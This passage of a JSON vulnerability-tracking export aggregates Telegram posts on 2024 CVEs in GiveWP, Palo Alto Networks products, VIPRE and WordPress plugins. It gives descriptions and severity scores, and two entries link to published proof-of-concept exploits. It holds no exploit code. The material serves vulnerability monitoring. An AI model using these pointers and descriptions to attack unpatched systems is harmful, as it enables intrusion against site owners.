details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T04:35:02.000000Z"}, {"uuid": "e4d1dc83-f7fb-446e-85a4-10d5485af255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5940", "type": "seen", "source": "https://t.me/cvedetector/3591", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5940 - GiveWP \u2013 Donation Plugin Unauthenticated SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-5940 \nPublished : Aug. 20, 2024, 2:15 a.m. | 17\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'handle_request' function in all versions up to, and including, 3.13.0. This makes it possible for unauthenticated attackers to edit event ticket settings if the Events beta feature is enabled. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T04:35:01.000000Z"}, {"uuid": "9143df08-768c-4d7d-94dc-d11406efbed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/cvedetector/3590", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5932 - GiveWP - PHP Object Injection and Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5932 \nPublished : Aug. 20, 2024, 2:15 a.m. | 17\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T04:34:57.000000Z"}, {"uuid": "e9bf639b-9c63-4690-9103-3732435e1c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5928", "type": "seen", "source": "https://t.me/cvedetector/3799", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5928 - VIPRE Advanced Security PMAgent Link Following Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5928 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : VIPRE Advanced Security PMAgent Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the Patch Management Agent. By creating a symbolic link, an attacker can abuse the agent to delete a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22315. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:34.000000Z"}, {"uuid": "9f3daa4b-549a-409c-a6fd-4c71a179031e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5930", "type": "seen", "source": "https://t.me/cvedetector/3798", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5930 - VIPRE Advanced Security Permission Escalation Privilege Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5930 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : VIPRE Advanced Security Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the Anti Malware Service. The issue results from incorrect permissions on a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22345. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:34.000000Z"}, {"uuid": "18d9836e-eb9c-462c-9857-5a584e3f3dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5941", "type": "seen", "source": "https://t.me/cvedetector/3586", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5941 - GiveWP \u2013 Donation Plugin and Fundraising Platform Unauthorized Access and Data Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5941 \nPublished : Aug. 20, 2024, 2:15 a.m. | 17\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized access and deletion of data due to a missing capability check on the 'handle_request' function in all versions up to, and including, 3.14.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read attachment paths and delete attachment files. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T04:34:54.000000Z"}, {"uuid": "15cdb387-c1c3-4a6a-b1bd-f408a6b1c963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5963", "type": "seen", "source": "https://t.me/cvedetector/2517", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5963 - Hitachi Device Manager Unquoted Executable Path Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5963 \nPublished : Aug. 6, 2024, 3:15 a.m. | 22\u00a0minutes ago \nDescription : Unquoted Executable Path vulnerability in Hitachi Device Manager on Windows (Device Manager Server component).This issue affects Hitachi Device Manager: before 8.8.7-00. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T05:48:19.000000Z"}, {"uuid": "9058530a-c71a-4c6a-a083-60babbabeab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/233", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "creation_timestamp": "2024-08-30T18:56:36.000000Z"}, {"uuid": "64086721-b4de-425c-ae45-28cc9aa79f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5914", "type": "seen", "source": "https://t.me/cvedetector/3177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5914 - Palo Alto Networks Cortex XSOAR Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5914 \nPublished : Aug. 14, 2024, 5:15 p.m. | 29\u00a0minutes ago \nDescription : A command injection issue in Palo Alto Networks Cortex XSOAR CommonScripts Pack allows an unauthenticated attacker to execute arbitrary commands within the context of an integration container. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T19:54:03.000000Z"}, {"uuid": "5a2c1312-0094-4840-8a96-30218d9b4118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5973", "type": "seen", "source": "https://t.me/cvedetector/1379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5973 - MasterStudy LMS WordPress Plugin Instructor Account Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-5973 \nPublished : July 22, 2024, 6:15 a.m. | 43\u00a0minutes ago \nDescription : The MasterStudy LMS WordPress Plugin  WordPress plugin before 3.3.24 does not prevent students from creating instructor accounts, which could be used to get access to functionalities they shouldn't have. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T09:26:46.000000Z"}, {"uuid": "14483d82-57cb-4531-826b-919cb63320b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5915", "type": "seen", "source": "https://t.me/cvedetector/3176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5915 - Palo Alto Networks GlobalProtect Windows Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-5915 \nPublished : Aug. 14, 2024, 5:15 p.m. | 29\u00a0minutes ago \nDescription : A privilege escalation (PE) vulnerability in the Palo Alto Networks GlobalProtect app on Windows devices enables a local user to execute programs with elevated privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T19:54:02.000000Z"}, {"uuid": "5d66d65b-dcd2-483b-97fe-3bcbd73ec90f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5916", "type": "seen", "source": "https://t.me/cvedetector/3175", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5916 - \"Palo Alto Networks PAN-OS Information Exposure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-5916 \nPublished : Aug. 14, 2024, 5:15 p.m. | 29\u00a0minutes ago \nDescription : An information exposure vulnerability in Palo Alto Networks PAN-OS software enables a local system administrator to unintentionally disclose secrets, passwords, and tokens of external systems. A read-only administrator who has access to the config log, can read secrets, passwords, and tokens to external systems. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T19:54:01.000000Z"}, {"uuid": "95620579-94d5-4d90-89e5-d69a1e242546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5901", "type": "seen", "source": "https://t.me/cvedetector/2079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5901 - SiteOrigin Widgets Bundle Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5901 \nPublished : July 30, 2024, 9:15 p.m. | 43\u00a0minutes ago \nDescription : The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Image Grid widget in all versions up to, and including, 1.62.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-31T00:06:45.000000Z"}, {"uuid": "8acd1a24-93b3-4977-b696-0b783ca92733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5975", "type": "seen", "source": "https://t.me/cvedetector/1985", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5975 - CZ Loan Management SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-5975 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:44.000000Z"}, {"uuid": "58633b47-f2e4-4ef7-8a58-e7e4b4b17765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5969", "type": "seen", "source": "https://t.me/cvedetector/1749", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5969 - WordPress AIomatic Email Spoofing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5969 \nPublished : July 27, 2024, 8:15 a.m. | 29\u00a0minutes ago \nDescription : The AIomatic - Automatic AI Content Writer for WordPress is vulnerable to arbitrary email sending vulnerability in versions up to, and including, 2.0.5. This is due to insufficient limitations on the email recipient and the content in the 'aiomatic_send_email' function which are reachable via AJAX. This makes it possible for unauthenticated attackers to send emails with any content to any recipient. \nSeverity: 5.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-27T10:46:17.000000Z"}, {"uuid": "df911b11-52da-449e-926a-3d3bbcb99017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5902", "type": "seen", "source": "https://t.me/cvedetector/787", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5902 - The User Feedback \u2013 Create Interactive Feedback Fo\", \n  \"Content\": \"CVE ID : CVE-2024-5902 \nPublished : July 12, 2024, 10:15 p.m. | 43\u00a0minutes ago \nDescription : The User Feedback \u2013 Create Interactive Feedback Form, User Surveys, and Polls in Seconds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the name parameter in all versions up to, and including, 1.0.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in feedback form responses that will execute whenever a high-privileged user tries to view them. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-13T01:18:00.000000Z"}, {"uuid": "9cf4bda7-c135-4164-8045-f83741438796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/231", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-08-29T12:43:57.000000Z"}, {"uuid": "4bfe35e0-e28b-4a2a-aa81-7fcd6603f014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5911", "type": "seen", "source": "https://t.me/cvedetector/572", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5911 - An arbitrary file upload vulnerability in Palo Alt\", \n  \"Content\": \"CVE ID : CVE-2024-5911 \nPublished : July 10, 2024, 7:15 p.m. | 26\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in Palo Alto Networks Panorama software enables an authenticated read-write administrator with access to the web interface to disrupt system processes and crash the Panorama. Repeated attacks eventually cause the Panorama to enter maintenance mode, which requires manual intervention to bring the Panorama back online. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T21:49:00.000000Z"}, {"uuid": "e8632fd8-abb6-419e-a59b-bfb0adb49b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5912", "type": "seen", "source": "https://t.me/cvedetector/577", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5912 - An improper file signature check in Palo Alto Netw\", \n  \"Content\": \"CVE ID : CVE-2024-5912 \nPublished : July 10, 2024, 7:15 p.m. | 26\u00a0minutes ago \nDescription : An improper file signature check in Palo Alto Networks Cortex XDR agent may allow an attacker to bypass the Cortex XDR agent's executable blocking capabilities and run untrusted executables on the device. This issue can be leveraged to execute untrusted software without being detected or blocked. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T21:49:08.000000Z"}, {"uuid": "28124997-f2a1-4a4a-bffc-abf236013809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/cvedetector/576", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5910 - Missing authentication for a critical function in\", \n  \"Content\": \"CVE ID : CVE-2024-5910 \nPublished : July 10, 2024, 7:15 p.m. | 26\u00a0minutes ago \nDescription : Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.  \n  \nNote: Expedition is a tool aiding in configuration migration, tuning, and enrichment. Configuration secrets, credentials, and other data imported into Expedition is at risk due to this issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T21:49:07.000000Z"}, {"uuid": "54546a79-a3f0-45d4-9501-0373a727e930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5913", "type": "seen", "source": "https://t.me/cvedetector/575", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5913 - An improper input validation vulnerability in Palo\", \n  \"Content\": \"CVE ID : CVE-2024-5913 \nPublished : July 10, 2024, 7:15 p.m. | 26\u00a0minutes ago \nDescription : An improper input validation vulnerability in Palo Alto Networks PAN-OS software enables an attacker with the ability to tamper with the physical file system to elevate privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T21:49:03.000000Z"}, {"uuid": "b92967bc-54e8-402f-b35c-aa2dda5ee79c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5946", "type": "seen", "source": "https://t.me/cvedetector/308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5946 - The Squelch Tabs and Accordions Shortcodes plugin\", \n  \"Content\": \"CVE ID : CVE-2024-5946 \nPublished : July 9, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : The Squelch Tabs and Accordions Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018tab\u2019 shortcode in all versions up to, and including, 0.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T13:55:47.000000Z"}, {"uuid": "f6f02dec-96f5-43f0-8213-c95e95c1ab69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5992", "type": "seen", "source": "https://t.me/cvedetector/282", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5992 - The Cliengo \u2013 Chatbot plugin for WordPress is vuln\", \n  \"Content\": \"CVE ID : CVE-2024-5992 \nPublished : July 9, 2024, 9:15 a.m. | 31\u00a0minutes ago \nDescription : The Cliengo \u2013 Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'update_chatbot_token' and 'update_chatbot_position' functions in all versions up to, and including, 3.0.1. This makes it possible for unauthenticated attackers to change chatbot settings, which can lead to unavailability or other changes to the chatbot. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T11:49:52.000000Z"}, {"uuid": "bec46dd7-5ad4-4621-8c54-194a9a0ceb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5993", "type": "seen", "source": "https://t.me/cvedetector/281", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5993 - The Cliengo \u2013 Chatbot plugin for WordPress is vuln\", \n  \"Content\": \"CVE ID : CVE-2024-5993 \nPublished : July 9, 2024, 9:15 a.m. | 31\u00a0minutes ago \nDescription : The Cliengo \u2013 Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'update_session' function in all versions up to, and including, 3.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the session token of the chatbot. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T11:49:50.000000Z"}, {"uuid": "36e2ebdc-c04f-4e74-aa1d-de6470d2e8c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5937", "type": "seen", "source": "https://t.me/cvedetector/280", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5937 - The Simple Alert Boxes plugin for WordPress is vul\", \n  \"Content\": \"CVE ID : CVE-2024-5937 \nPublished : July 9, 2024, 9:15 a.m. | 31\u00a0minutes ago \nDescription : The Simple Alert Boxes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Alert shortcode in all versions up to, and including, 1.4.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T11:49:49.000000Z"}, {"uuid": "41fbb509-4031-48d1-aed9-9752bf864b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5943", "type": "seen", "source": "https://t.me/cvedetector/52", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5943 - The Nested Pages plugin for WordPress is vulnerabl\", \n  \"Content\": \"CVE ID : CVE-2024-5943 \nPublished : July 4, 2024, 12:15 p.m. | 53\u00a0minutes ago \nDescription : The Nested Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.7. This is due to missing or incorrect nonce validation on the 'settingsPage' function and missing santization of the 'tab' parameter. This makes it possible for unauthenticated attackers to call local php files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-04T15:10:24.000000Z"}, {"uuid": "63e400b7-ee7e-41d1-9ae5-e97f2289200b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5977", "type": "seen", "source": "https://t.me/cvedetector/1212", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5977 - GiveWP Insecure Direct Object Reference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5977 \nPublished : July 19, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.13.0 via the 'handleRequest' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with GiveWP Worker-level access and above, to delete and update arbitrary posts. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-19T13:42:10.000000Z"}, {"uuid": "124f9f99-428a-4f6c-bd94-f9bed07a535e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5997", "type": "seen", "source": "https://t.me/cvedetector/1181", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5997 - WordPress Duplica Unauthenticated Data Modification\", \n  \"Content\": \"CVE ID : CVE-2024-5997 \nPublished : July 18, 2024, 10:15 p.m. | 43\u00a0minutes ago \nDescription : The Duplica \u2013 Duplicate Posts, Pages, Custom Posts or Users plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the duplicate_user and duplicate_post functions in all versions up to, and including, 0.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create duplicates of users and posts/pages. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-19T01:09:21.000000Z"}, {"uuid": 